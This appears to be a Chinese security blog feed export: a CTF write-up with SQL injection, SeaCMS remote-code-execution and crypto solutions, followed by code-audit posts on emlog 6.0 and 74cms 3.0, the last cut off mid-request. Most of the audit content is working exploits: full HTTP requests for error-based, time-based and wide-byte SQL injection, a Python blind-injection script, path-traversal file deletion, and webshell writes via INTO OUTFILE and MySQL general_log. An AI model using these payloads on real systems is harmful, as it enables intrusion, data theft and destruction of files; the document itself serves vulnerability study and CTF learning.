param1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%8D%13%BE%8Fu%F7s%3B%60v%7E%BD%C46%B6%BA%CCyrer%F69%C84%2Az%92PB%97%ED%0D%09%AD%CD%DD%02%8C%A1%C7%CBG%D9%EF%F5%7C9%D5K%BAK%C6%C7N%3Be%93%F8P%5BH%27Qk%1Cr%80%9F-r%8D%0B%AC%D0aW%7F%13h+%7F%BCz%13%86F%AF%CB%1An%CB%EC%86%02%F0%0E%26%A6%D8%F6%D1%E3O%88%8C9w%C8%E4%C5f2%FA%ED%2B%02%E6%91%0E%CC%5C%9E%F4%EFzG%9B&param2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%8D%13%BE%8Fu%F7s%3B%60v%7E%BD%C46%B6%BA%CCyr%E5r%F69%C84%2Az%92PB%97%ED%0D%09%AD%CD%DD%02%8C%A1%C7%CBG%D9%EFu%7D9%D5K%BAK%C6%C7N%3Be%93%F8%D0%5BH%27Qk%1Cr%80%9F-r%8D%0B%AC%D0aW%7F%13h+%7F%BC%FA%13%86F%AF%CB%1An%CB%EC%86%02%F0%0E%26%A6%D8%F6%D1%E3O%88%8C9w%C8d%C5f2%FA%ED%2B%02%E6%91%0E%CC%5C%9Et%EFzG%9B

flag:flag{MD5@_@success}

冈村宁次

题目链接:http://47.103.43.235:83/web/a/index.php?id===QM

查询结果的id字段为1,而1的base64加密结果为MQ==,说明id参数的值经过base64解密后再反转再添加到SQL语句中,在py命令行中使用base64.b64encode('')[::-1]进行base64加密再反转效果

经过测试,这题对sleep,extractvalue,updatexml函数进行了检查,检查到再最前面添加1,所以无法使用报错和延时注入

另外过滤了or,select,union,空格,逗号,等号,绕过方法分别为:(1)双写or,select,union(2)用/**/代替空格(3)用select()a join select ()b代替逗号(4)用like,regexp代替等号

爆数据库payload:

1
base64.b64encode('0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/6)f)')[::-1]

数据库名:ctf_sql

爆表名payload:

1
base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())f)")[::-1]

表名:book,flag

爆列名payload:

1
base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/0x666c6167)f)")[::-1]

列名:flag

爆flag payload:

1
base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/flag/**/from/**/flag)f)")[::-1]

flag:flag{s9li_1s_s0_e4sY}

作战计划

题目链接:http://47.103.43.235:84

海洋cms,之前就爆出的search.php存在命令执行漏洞,payload:

1
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[1])

通过菜刀连接后,在根目录下找到flag.txt,获得flag

flag:flag{!!seacms_@@}

池步洲

题目链接:http://47.103.43.235:82/web/b/index.php

源代码给出提示文件index.phps,访问后下载获得源代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
if ($_POST['name'] == $_POST['password'])
print 'name and password must be diffirent';
else if (sha1($_POST['name']) === sha1($_POST['password']))
die($flag);
else print 'invalid password';
}
?>

sha1函数无法处理数组,通过传入两个数组即可绕过过滤,payload:name[]=1&password[]=2

flag:flag{Y0u_just_br0ke_sha1}

密码学

日军空袭

题目链接:http://47.103.43.235:82/crypto/a/index.php

页面给了一串看似base64加密后的字符串,经过一次base64解密发现末尾出现了$3D说明可能还存在URL编码,所以需要URL和base64循环解码,脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from base64 import b64decode
from urllib import unquote

s = 'Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE'

while True:
while '%' in s:
s = unquote(s)
try:
s = b64decode(s)
except:
break
print s

得到s = fB__l621a4h4g_ai{&i},每五位凑成flag的一个字符,最后得到flag:flag{B64_&_2hai_14i}

潘汉年

题目给出字符串和提示flag格式,观察字符串和flag的ascii编码,发现从4开始逐位在原来基础上+1

1
2
3
4
5
s = "bg[`sZ*Zg'dPfP`VM_SXVd"
f = "flag"

for i in range(4):
print ord(f[i]) - ord(s[i])

结果得到4,5,6,7,验证了想法

据此对密文进行还原:

1
2
3
4
5
6
7
8
9
s = "bg[`sZ*Zg'dPfP`VM_SXVd"
flag = ""
offset = 4

for i in range(len(s)):
flag = flag + chr(ord(s[i]) + offset)
offset = offset + 1

print flag

得到flag:flag{c4es4r_variation}

袁殊

RSA 摸熟 n 过小,导致可被分解的问题,先用 openssl 提取公钥中的 e 和 n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
openssl rsa -pubin -text -modulus -in warmup -in gy.key

Public-Key: (256 bit)
Modulus:
00:a9:bd:4c:7a:77:63:37:0a:04:2f:e6:be:c7:dd:
c8:41:60:2d:b9:42:c7:a3:62:d1:b5:d3:72:a4:d0:
89:12:d9
Exponent: 65537 (0x10001)
Modulus=A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKm9THp3YzcKBC/mvsfdyEFgLblCx6Ni
0bXTcqTQiRLZAgMBAAE=
-----END PUBLIC KEY-----

在 factordb.com 分解 n 得到素因子 p 和 q, 解得私钥 d,再解得明文 m

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *

e = 65537
n = 0xA9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9

p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
phi = (p - 1) * (q - 1)
assert GCD(e, phi) == 1
d = inverse(e, phi)

c = open('E:\\Downloads\\CTF\\RSA256\\fllllllag.txt', 'rb').read()
c = bytes_to_long(c)
m = pow(c, d, n)
print long_to_bytes(m)

# flag{_2o!9_CTF_ECUN_}

杂项

死亡真相

题目链接:https://47.103.43.235:85/d/奇怪的单点音.wav

在空缺处补0,再进行md5解密得到flag:flag{hsd132456}

大美晚报

题目链接:http://47.103.43.235:82/web/c/

题目给了一个二维码,保存图片后foremost,得到一个压缩包,提示说是管理员QQ号,直接爆破出号码:674290437

获得flag:flag{d6@YX$_m^aa0}

]]>
ctf
代码审计--emlog6.0 https://Foxgrin.github.io//posts/15210/ 2019-03-19T12:15:00.000Z 2019-03-26T12:04:38.899Z 记录emlog6.0审计过程以及漏洞分析

全局分析

分析网站根目录下/index.php包含的头文件/init.php,可以发现,其中对GET,POST等进行处理的只有第二十一行的函数doStripslashes(),跟踪该函数,发现该函数作用居然还是去除转义字符,所以可以说,全局对GET,POST数据实际上是毫无过滤的。所以接下来,我们可以在Seay审计系统下进行全局搜索GET和POST的数据,如果没有其他过滤,那么是非常好利用的。

漏洞分析

1.SQL注入

/admin/comment.php第46行语句$ip = isset($_GET['ip']) ? $_GET['ip'] : '';未对参数$_GET['ip']进行过滤,在47行中将变量$ip传入函数delCommentByIp(),跟踪该函数,在/include/model/comment_model.php中第152行中将该参数拼接到SQL语句,经由单引号包裹

经过全局分析我们知道实际上$_GET['ip']参数是没有任何过滤的,所以我们可以很轻松的进行SQL注入,这里采用的是报错注入

payload如下:

1
2
3
4
5
6
7
8
9
10
GET /emlog/admin/comment.php?action=delbyip&ip=127.0.0.1'%20and%20extractvalue(1,concat(0x3a,database(),0x3a))%23&token=2559f394de1177aaf9652f6ea371566d HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/emlog/admin/comment.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_plugin_new=block; em_link_new=inline-block; commentposter=admin01; posterurl=http%3A%2F%2F127.0.0.1%2Femlog%2F; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; EM_TOKENCOOKIE_b90fd1a800e81fa678ed0f0c7fcb8918=2559f394de1177aaf9652f6ea371566d; EM_AUTHCOOKIE_ZxwSU5f12C3Kkwq6CRTVyZyxqZwUYLbl=admin01%7C%7C812cc3b37c64625ef752ca57370b76e1
Connection: close

注意这里因为有检查Token机制,所以我们必须在页面上进行抓包

同样在/admin/tag.php第44行语句$tags = isset($_POST['tag']) ? $_POST['tag'] : '';未对变量$_POST['tag']进行过滤,在53行中将变量$tags的键值传入函数deleteTag(),跟踪函数,在/include/model/tag_model.php中将该变量拼接到DELETE语句中

因为是DELETE语句,所以这里采用延时注入,同时需要注意因为我们不能保证$tagId一定存在于表中,而且即便存在,执行完一次也会被删除,所以这里采用or连接,保证后面的延时注入语句能执行,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /emlog/admin/tag.php?action=dell_all_tag HTTP/1.1
Host: 127.0.0.1
Content-Length: 101
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/emlog/admin/tag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_plugin_new=block; commentposter=admin01; posterurl=http%3A%2F%2F127.0.0.1%2Femlog%2F; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6; EM_TOKENCOOKIE_b90fd1a800e81fa678ed0f0c7fcb8918=2559f394de1177aaf9652f6ea371566d; EM_AUTHCOOKIE_ZxwSU5f12C3Kkwq6CRTVyZyxqZwUYLbl=admin01%7C%7C812cc3b37c64625ef752ca57370b76e1
Connection: close

tag[0 or if(ascii(substr(database(),0,1))%3d101,0,sleep(3))]=1&token=2559f394de1177aaf9652f6ea371566d

之后就是写脚本注入,但是这里同样采用了验证TOKEN机制,而且我们必须登录后台才能进行该项操作,所以需要采用python的Session机制进行登录并抓取页面TOKEN值,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
from bs4 import BeautifulSoup

def login(s,login_url,user,pw):
login_data = {
'user':user,
'pw':pw
}
r = s.post(url=login_url,data=login_data)

def get_token(s,token_url):
r = s.get(token_url)
soup = BeautifulSoup(r.text,'lxml')
token = soup.find_all('input',attrs={'name':'token'})[0]['value']
return token

def get_database(s,url,token):
database = ""
flag = 0
for i in range(1,20):
for j in range(95,123):
data = {
'tag[0 or if(ascii(substr(database(),%d,1))=%d,sleep(3),0)]'%(i,j):'1',
'token':token
}
start = time.perf_counter()
s.post(url,data=data)
end = time.perf_counter()
t = end - start
if t >= 3:
database = database + chr(j)
flag = 1
break
if j == 122 and flag == 0:
break
flag = 0
print("database:",database)

if __name__ == '__main__':
s = requests.Session()
login_url = "http://127.0.0.1/emlog/admin/index.php?action=login"
login(s,login_url,'admin01','admin01')
token_url = "http://127.0.0.1/emlog/admin/tag.php"
token = get_token(s,token_url)
target_url = "http://127.0.0.1/emlog/admin/tag.php?action=dell_all_tag"
get_database(s,target_url,token)

/admin/navbar.php第78行$pages = isset($_POST['pages']) ? $_POST['pages'] : array();存在未过滤变量$pages,在85行将变量$pages的键值作为变量$id传入函数addNavi()中,跟踪该函数,在/include/model/navi_model.php中将该变量拼接到INSERT语句中

INSERT注入我们采用的是select case when 条件 then sleep(3) else 1 end的延时注入,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /emlog/admin/navbar.php?action=add_page HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_plugin_new=block; em_link_new=inline-block; commentposter=admin01; posterurl=http%3A%2F%2F127.0.0.1%2Femlog%2F; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; EM_TOKENCOOKIE_b90fd1a800e81fa678ed0f0c7fcb8918=2559f394de1177aaf9652f6ea371566d; EM_AUTHCOOKIE_ZxwSU5f12C3Kkwq6CRTVyZyxqZwUYLbl=admin01%7C%7C812cc3b37c64625ef752ca57370b76e1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

pages[1%2b(select case when(1%3d1) then sleep(3) else 1 end)]=1

脚本参考上面,这里略

2.任意文件删除漏洞

/admin/data.php第143-144行存在未过滤变量$_POST['bak']拼接到unlink中,导致任意路径穿越删除文件漏洞

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /emlog/admin/data.php?action=dell_all_bak HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_plugin_new=block; em_link_new=inline-block; commentposter=admin01; posterurl=http%3A%2F%2F127.0.0.1%2Femlog%2F; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; EM_TOKENCOOKIE_b90fd1a800e81fa678ed0f0c7fcb8918=2559f394de1177aaf9652f6ea371566d; EM_AUTHCOOKIE_ZxwSU5f12C3Kkwq6CRTVyZyxqZwUYLbl=admin01%7C%7C812cc3b37c64625ef752ca57370b76e1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

bak[0]=../../hint.php

/admin/blogger.php第92行存在危险函数unlink,跟踪变量$icon_1,该变量来自80行中的sql查询字段photo返回结果,跟踪语句31行中变量$photo通过POST传入,有转义处理,并在72行中将photo更新到数据库中,虽然有转义处理,依旧可以造成任意路径穿越删除文件

实现的过程如下:先通过POST将构造的任意路径变量$photo更新到数据库中($action=update),再通过$action=delicon触发unlink($icon_1),进行任意文件删除

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /emlog/admin/blogger.php?action=update HTTP/1.1
Host: 127.0.0.1
Content-Length: 979
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVzcf6UrvpBos4Orw
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/emlog/admin/blogger.php?active_del=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_plugin_new=block; em_link_new=inline-block; commentposter=admin01; posterurl=http%3A%2F%2F127.0.0.1%2Femlog%2F; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; EM_TOKENCOOKIE_b90fd1a800e81fa678ed0f0c7fcb8918=2559f394de1177aaf9652f6ea371566d; EM_AUTHCOOKIE_ZxwSU5f12C3Kkwq6CRTVyZyxqZwUYLbl=admin01%7C%7C812cc3b37c64625ef752ca57370b76e1
Connection: close

------WebKitFormBoundaryVzcf6UrvpBos4Orw
Content-Disposition: form-data; name="photo"

../../info.php

3.通过后台数据库备份上传webshell

对于在/emlog/init.php 中的变量 $action,当我们通过GET方式传入$action[]数组的形式,会出现语法错误报错导致的网站路径泄露,可以考虑结合sql注入写入webshell

/admin/data.php中发现了可以进行本地数据库备份,并可以上传数据库备份文件

那么就可以考虑加入语句

SELECT "<?php phpinfo(); ?>" INTO outfile "E:\php\PHPTutorial\WWW\emlog\shell.php";如果网站数据库的配置secure_file_priv为空,那么我们就可以直接在网站根目录下写入webshell

我们先随意备份一个数据库文件,然后加入上述语句,上传

结果出现了报错信息The MySQL server is running with the --secure-file-priv option so it cannot execute this statement说明数据库配置secure_file_priv为null,并且我们无法通过SQL语句改变该配置值,在数据库中验证show global variables like '%secure%';

所以我们考虑另一种方法,通过设置SQL日志的方式,首先需要保证general_log=on,再修改general_log_file的日志写入文件绝对路径

在数据库文件中加入语句:

1
2
3
SET GLOBAL general_log = 'on';
SET GLOBAL general_log_file = 'E:/php/PHPTutorial/WWW/emlog/shell.php';
SELECT '<?php phpinfo(); ?>';

然后上传

可以看出显示了上传成功

然后我们可以看到在网站的根目录下出现了shell.php即我们上传的webshell,它实际上是一个日志文件,只不过我们加入了可执行的Php代码

访问

4.通过上传ZIP文件上传webshell

/admin/plugin.php页面可以上传一个zip压缩包,并在后台将压缩包解压成文件

跟踪emUnZip()函数,在/include/lib/function.base.php下:

图中有我自己添加的测试代码,用来测试ZipArchive类的getNameIndexgetFromName函数的输出值

我们试着上传一个test.zip,压缩包中包含demo文件夹,demo文件夹下包含demo.php文件

可以看出这里getNameIndex()函数返回结果是压缩包下的文件夹名即demo/,在768行中$dir . $plugin_name . '.php'拼接的结果是demo/demo.php即压缩包下的目录内容,从响应包结果来看是上传成功的

所以猜出getFromName函数应该是判断压缩包下的文件目录如果与传入的参数一致,则返回true,所以可以看出我们上传的文件夹名必须和文件名是相同的,后面即可解压压缩包,上传webshell

如果我们上传的压缩包只包含一个php文件,可以看一下测试的响应结果:

那么$dir . $plugin_name . '.php'拼接的结果是demo.php/demo.php.php,从响应结果Location: ./plugin.php?error_e=1来看很明显是上传失败,返回-1,说明是$re == false导致的,即getFromName函数判断压缩包不存在该目录

5.存储型XSS

/admin/write_log.php添加文章存在html代码形式,尝试直接添加<script>alert('xss')</script>

添加后访问网站首页出现弹框

抓包分析

跟踪到/admin/save_log.php文件

$content变量只有经过转义处理,还是过滤不当引起的xss

总结

该CMS较小,代码简洁易懂,大部分的漏洞,由于全局不存在输入过滤,所以通过全局搜索POST,GET数据发现的,还是那句话,输入过滤不够,导致的漏洞

]]>
代码审计
代码审计--74cms3.0 https://Foxgrin.github.io//posts/5451/ 2019-03-18T12:15:00.000Z 2019-03-20T12:12:36.692Z 记录74cms3.0审计过程以及漏洞分析

全局分析

先进入根目录的index.php,跟进包含的头文件/include/common.inc.php,该文件又包含了三个文件,其中/data/config.php/include/74cms_version.php为网站配置和版本文件,无需关心。/include/common.fun.php为函数文件。继续往下审计,发现21-30行对输入数据进行了过滤

1
2
3
4
5
6
7
8
9
10
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);

/include/common.fun.php跟踪addslashes_deep函数

过滤总结起来就是对$_GET $_POST $_COOKIE $_REQUEST数据都进行单引号双引号的转义,以及过滤标签的处理

GET,POST,COOKIE都有过滤,那么IP字段有没有过滤呢,按照之前审计都有一个getip()函数来获取头部的IP字段,果然在101行发现该函数

但是这里进行了正则匹配过滤出格式合法的IP值,所以我们无法利用IP字段

也就是说,在后面的审计过程中,只要发现文件包含了/include/common.inc.php,那么就无法通过注入标签进行XSS攻击,以及限制了SQL注入,但是,我们注意配置文件/include/mysql.class.php中的第29行设置了数据库的编码方式为GBK,所以在有单引号或双引号包裹的情况下是可以考虑进行宽字节注入

类似于前台,/admin/后台的文件头部也包含了/admin/include/admin_common.inc.php,过滤如下:

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = admin_addslashes_deep($_POST);
$_GET = admin_addslashes_deep($_GET);
$_COOKIE = admin_addslashes_deep($_COOKIE);
$_REQUEST = admin_addslashes_deep($_REQUEST);
}

跟进admin_addslashes_deep函数

1
2
3
4
5
6
7
8
9
10
11
function admin_addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('admin_addslashes_deep', $value) : addslashes($value);
}
}

可以发现后台对于客户端提交的数据只有转义的处理,是不会过滤掉标签的

漏洞分析

1.任意文件删除漏洞

/admin/admin_article.php第151-152行中存在可利用变量$_GET['img']导致任意文件删除漏洞

在全局分析中,我们知道,后台对$_GET只有转义的处理,所以我们构造路径穿越进行删除文件

payload:?act=del_img&img=../../info.php

2.SQL注入

/user/user_personal.php第947-951行存在可利用变量$setsqlarr导致SQL注入

我们可以注意到这里的数组变量$setsqlarr中的各个属性变量都只有转义的处理就拼接到SQL语句中,这是一个用户基本信息保存的功能代码,当查询不到$SESSION['uid']即未保存过信息时,会使用INSERT语句。反之则使用UPDATE语句,然后将保存的个人信息渲染到html页面中,跟踪一下updatetable()函数

了解语句后,我们先保存一个个人信息

之后再进行修改操作,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /74cms/user/user_personal.php?act=userprofile_save HTTP/1.1
Host: 127.0.0.1
Content-Length: 193
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/74cms/user/user_personal.php?act=userprofile
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: QS[uid]=1; QS[username]=user01; QS[password]=f9b56fc246a5142ad76408997edc1e4d; QS[utype]=2; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close

realname=123&sex=%C4%D0&birthday=111111&addresses=12312332&mobile=18912345678&phone=254221&qq=12345&msn=123%df',`profile`=(select pwd from 74_admin) where uid=1#&profile=123&Submit=%B1%A3%B4%E6

拼接后的sql语句为:

1
UPDATE 74cms_members_info SET `realname`='123', `sex`='男', `birthday`='111111', `addresses`='12312332', `mobile`='18912345678', `phone`='254221', `qq`='12345', `msn`='123�\\\',`profile`=database() where uid=1#', `profile`='123' WHERE  uid='1'`

执行后profile字段显示的值就是数据库名

另外/user/user_company_points.php第861行同样存在可利用变量$setsqlarr,导致SQL注入

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /74cms/user/user_company_points.php?act=company_profile_save HTTP/1.1
Host: 127.0.0.1
Content-Length: 416
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/74cms/user/user_company_points.php?act=company_profile
Accept-Encoding: gzip, deflate
